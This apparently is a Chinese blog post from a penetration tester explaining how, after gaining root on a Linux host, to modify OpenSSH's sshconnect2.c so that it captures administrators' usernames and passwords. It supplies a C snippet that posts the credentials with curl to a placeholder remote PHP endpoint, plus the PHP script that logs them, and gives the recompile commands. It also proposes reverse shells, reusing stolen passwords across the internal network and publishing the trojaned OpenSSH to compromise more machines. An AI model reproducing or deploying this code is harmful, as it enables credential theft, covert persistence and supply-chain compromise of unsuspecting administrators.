利用OPENSSH自身记录密码
大家都知道,OPENSSH是基于Linux下,一款开源,安全性不错的Linux SSH会话连接工具。
在渗透当中,当我们get root了。我们如何来记录Linux管理员登陆过的SSH?
想法如下:
1:更改OPENSSH源代码,记录到某个地方。
2:在更改源代码的前提下,将OPENSSH 记录到的账户密码POST/GET/传输到某个地方。
3:更改OPENSSH源代码,对内网进行扫描。将获得的账户密码,在Linux机器OPENSSH连接进行比对。如果成功就发送,如果失败就PASS。
4:如何获得更多的Linux肉鸡? 更改OPENSSH源代码,写成后门,然后发布。
测试中截图如下:
我们分析OPENSSH连接过程,然后找到可更改代码的地方,截取USERNAME和PASSWORD:
之后我们重新编译OPENSSH,事前需要看好版本,不过一般管理员对OPENSSH版本不会重视把?
如果管理员连接的OPENSSH:
我们将记录到密码。
-----------------------------------------------------------------------
如果你觉得这样达不到你的目的。
咱们可以加个反向连接shell,管理员每次一连接,就反向到你那儿去。或者一直把shell 反向都处于连接的状态。
------------------------------------------------------------------
也可以直接CURL到咱们的地方。
接受:
<?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['Host']; if(isset($username) != "" || isset($password) !="" || isset($host) != "") { $fp = fopen("log.txt","a+"); $result = "Username:.$username--->:Password:$password----->:Host:$host"; fwrite($fp,$result); fwrite($fp,"\r\n"); fclose($fp); } ?>
POST:
char szres[1024] = {0}; memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"userName=%s&password=%s&Host=%s\" http://xxxxxx/xx.php >null",options.user,pass,get_remote_ipaddr()); printf("Szres = %s.\r\n",szres); system(szres);
写的很仓促,代码路径这块没有经过判断之类的。毕竟我是以渗透出路的,代码写的很烂,还请见谅。
大概具体就是这样了,如果你觉得你已经知道了这个方法,或者你根本用不到。还请别打我。
刚才忘记说了,更改文件代码的文件名字是:
sshconnect2.c //只要有认证的地方都可以改。
编译SSH命令如下:
./configure --prefix=/usr --sysconfdir=/etc/ssh
make ; make install
然后直接SSH命令用即可。